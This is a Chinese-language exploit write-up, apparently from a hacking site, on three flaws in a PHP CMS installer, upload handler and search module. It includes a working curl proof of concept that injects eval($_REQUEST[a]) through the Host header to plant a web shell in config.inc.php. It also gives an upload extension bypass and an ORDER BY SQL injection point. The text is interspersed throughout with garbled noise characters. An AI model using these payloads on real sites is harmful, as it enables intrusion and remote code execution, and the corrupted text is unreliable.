注入:
2 v) f/ x6 R, X$ w6 j( Q
# l/ Z% E, a7 a, ~4 B之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码! f R7 l* U- j" k p6 O. K
, U% O0 l% n' a9 u% W
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
" ~4 J' ^1 g2 m" l鸡肋2: 有一定安全常识的站长都会删掉 install 目录
7 M4 g0 i9 N% y* y H" @+ h0 ]; Y. i2 `
0 ~4 `5 s, Z9 v* l. ]2 w虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响! z& Z* @! Q% P
8 w" k( z7 g6 y分析:+ g3 Y/ Y7 k8 p6 @! l: S
9 }( ~8 w) N, c% h, G4 R1 j+ Z
3 v0 Z1 r/ J! c" ?/ u; b* S7 [0 |$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
& i& Q9 z) t" r; z, x9 v
. ]7 b, N6 |5 y& v0 W9 a) N $filestr = fread(fopen($SysConfigFile, 'r'),30000);
B1 H3 c; }2 ]; r$ R $filestr=str_replace(" ","",$filestr);/ H2 @/ p: P( X8 T
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
* y9 G/ V5 C. h" `$ q' H $filestr=str_replace("DefaultDbName",$dbname,$filestr);
+ G" G( u1 C; E9 q& l* r7 }, Z/ s, \ $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
8 x, e" t" C$ a" L3 m2 V $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
9 {0 Y8 d! e5 l% v# N1 m% \ $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
0 q. K7 X9 p% ~ f $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);9 C I3 j& m9 N, b
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
# r( M4 s8 d$ ?. G- {/ { ' D# Q/ N4 f9 p
fwrite(fopen($ConFile,"w"),$filestr,30000);3 O7 J |6 Y3 T4 E' z1 {0 _3 I
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
3 O9 X0 ^3 E7 q d2 m) z d' x4 S
' u4 H* X# X; O1 T8 @1 X. t/ Gpoc:
# g& m4 v3 d+ e8 Q+ y* A' D: r ( t4 [- T" n& o8 }, _; P5 j
?9 ]& k+ Q: X2 g
18 L3 i. y" `- Q: a) p% n6 a
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"7 I5 H& U8 X: a) U" t: f2 ~7 T$ r
shell地址: /config.inc.php
1 w& \8 V8 p, T" N; D跟之前的 phpcms一样 需要远程数据库
; r) [! t& H- o0 O% l# _' [/ b8 C 7 u" l3 a2 ^( ?" N7 ?3 [( f1 {
——————————————————–& K: T* A$ J" E# c3 F* t
上传漏洞(需要进后台):+ D- [! C; v% x& g3 v
漏洞文件: /kedit/upload_cgi/upload.php5 f; S9 \4 ]+ u
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用4 f2 m- N5 {( _( K; V
2 [! E& R0 C4 J Y
" P, E1 a2 P$ f% S7 F8 k; k<?php# Z2 l$ C0 a* a( R' z6 O1 r
define("ROOTPATH", "../../");7 m( A0 `# a+ A! K
include(ROOTPATH."includes/admin.inc.php");
# K1 ?) h$ y- h NeedAuth(0);, d. T7 A* e# B2 K. o
2 Q/ g% `+ ?, U( w3 I9 U# z
$dt=date("Ymd",time());/ v. K# p2 p/ [5 Z/ A2 V
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){( \- {6 ^3 y1 D1 i7 K' `
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
7 Q/ n+ a u" {/ Z4 o* U9 v3 e }
" E) o0 C1 _4 S
! ?( I8 [: Z4 ?! H8 e //文件保存目录路径$ l* o: }2 F+ O( v! U
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
v# ]; m, f/ {/ r5 U$ i& p; G echo $save_path;0 ?+ {3 R- P* @7 f, D' I
//文件保存目录URL
* A! G' G5 i7 S $save_url = '../../'.$_POST['attachPath'].$dt.'/';) I* G, X* t7 b. c
/ Q: O2 o9 R. `- b$ A3 a //定义允许上传的文件扩展名* `: |! ^9 e' O3 O' ~. @. c
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
0 m. ~$ U) y( p- K% G6 U, H1 }9 W
' B& x( O8 \1 K, \2 l //最大文件大小
* x8 m3 \5 u! ]% [3 R: \( l6 d $max_size = 1000000;
8 t3 x% E% c( A+ \: Q7 ?
( \5 D. n: s) g7 O( o7 Y //更改目录权限
) ^8 b! l6 B. J1 c" S" O @mkdir($save_path, 0777);
+ R9 m+ o+ ^9 d7 J% S, Z( S4 j0 g # h- y6 m1 F5 }) }. S/ J# r
//文件的全部路径% S) q) a1 V X+ u
$file_path = $save_path.$_POST['fileName']; //保存文件名5 @, u7 o, Q q6 h
3 q2 e' ?1 _2 E1 L3 H //文件URL
6 K- c! }1 }/ K; ~ $file_url = $save_url.$_POST['fileName'];
2 J6 N Q5 O2 ]//有上传文件时: e1 ?7 C1 ?1 l& p/ K
if (empty($_FILES) === false) {
* A0 g) O6 `( F 2 }; G) d: p4 Y! D& T
//原文件名4 L# z2 T/ c( x5 X: H: [
$file_name = $_FILES['fileData']['name'];
" |* H$ N& l! V- J8 e //服务器上临时文件名" I C% T/ o, z- E5 Y2 \$ b
$tmp_name = $_FILES['fileData']['tmp_name'];
8 Z" o. _) H% j8 M( L. T. ], _$ w( w0 d //文件大小" e4 B' t0 F( ^& w, k; O
$file_size = $_FILES['fileData']['size'];0 }1 d, A; H4 o- J! |- O- ^
//检查目录
2 ^) `0 z: {7 G/ O if (@is_dir($save_path) === false) {+ i6 ?/ ~1 U3 Z! W% h
alert("上传目录不存在。");' q- ]. Q) n8 U7 H- @( t& I* m
}4 K5 b" \0 h/ b7 z. W
//检查目录写权限
( G3 n; }. {3 ]# q" l+ b3 i if (@is_writable($save_path) === false) {9 H" D$ P8 G) q
alert("上传目录没有写权限。");
2 {; f: @+ M @3 W' |! c) G% B }
, P1 ~7 S( x) H" _$ H9 b //检查是否已上传
1 s" `! N# h7 | if (@is_uploaded_file($tmp_name) === false) {
- q- `- t, d, A5 @/ y alert("临时文件可能不是上传文件。"); a/ ^8 u& G, d7 u4 p
}0 J0 s$ D, Y+ c
//检查文件大小
8 z+ R. @" M: C1 O if ($file_size > $max_size) {
- Y B- R: M% ]: m7 ^: t, Z" I/ F alert("上传文件大小超过限制。");% r! y" @5 A7 e h o$ C+ H
}
! E- J% N( {5 M. _% q //获得文件扩展名
/ K* D( k3 a! V c8 L ^+ ^; ~ $temp_arr = explode(".", $_POST['fileName']);" o9 k: j* L5 }% J m; n' v$ ?
$file_ext = array_pop($temp_arr);
& \ K% S% W& f+ Y }( L $file_ext = trim($file_ext);
3 I( G) m v3 I' e3 C7 `: M" k) D $file_ext = strtolower($file_ext);
+ y* G, D# I0 }! a# x- D; [$ h
: M3 u1 X% v+ @4 _- `/ i! S //检查扩展名 / d" z7 ?4 s( L5 Y" r) m
if (in_array($file_ext, $ext_arr) === false) {
, p2 W9 {* L6 J" @2 z alert("上传文件扩展名是不允许的扩展名。");8 F: m$ |* ?/ N& \
}* |1 l5 h" @# g* A; c2 n6 x5 u- L
2 K. C' T F8 a
//移动文件
8 @2 _' o$ X; \6 l: | //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
# Z1 w& M) L" g$ w; G+ v4 Q if (move_uploaded_file($tmp_name, $file_path) === false) {
# s3 t% B' G; T( u) A3 t0 a alert("上传文件失败。");
* Z' H7 q8 [, f1 N: ?$ M }
2 [, ~1 ]7 U4 R" C% T3 J. g - K8 F$ B! [. v6 t% w
@chmod($file_path,0666);+ U+ L: O0 D1 }6 W9 T3 O
8 M- e- D7 }1 G2 p2 o% v0 I ?>! c- T. w8 ~# A5 e. F
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
6 b3 N) m" m6 m2 c/ z+ [9 F- [ l ( t6 {0 T) d4 r% L
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过5 T8 H# X& ]/ D
5 ^% [3 l" g9 l3 m8 k——————————————————; h- u8 A3 j/ A6 N: p7 Y
注入漏洞:0 a8 R6 [+ A7 S
漏洞文件:search/module/search.php
8 A7 W% R# `! }& s1 E: H( W/search/index.php?key=1&myord=1 [sqlinjection]3 T1 y H1 M/ {. _ ]
; T1 Z# o/ D1 C
_8 y. i. {$ _" h
<?php
3 Z& D& L0 g+ x7 b9 s8 G // ... 省略 n 行...2 @: ^( ~; n' I0 w. c( v% D
//第18行:
5 H" T: h/ z x5 r- i $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
, _# P3 t* W& o3 F $page=htmlspecialchars($_GET["page"]);
/ g- ` `2 h1 }; k0 X( I) n% z/ z+ ^- a $myord=htmlspecialchars($_GET["myord"]);! n1 H+ ~' A; S P! C" S4 V) j# a
8 h: }7 B! J& ?2 ^* C3 ~
// ... 省略 n 行...
+ M. c( K3 _' k $key,$myord 两个参数带入查询# c1 D! R8 R9 F& h i N# L
//第47行 $key:' b4 u# [9 z% G: F. [2 E: ?
* A9 `1 ]! t; R% [9 I0 G $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
- R5 S8 {% P' Y, t* A
5 V* a; B7 _. i //第197行 $myord
4 ^$ b4 ?* K4 \% s $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
! N4 ?0 k0 C) m8 h _- b; J, n
) P" G6 P t$ W' h ?>8 U- h- x9 c5 n ^
|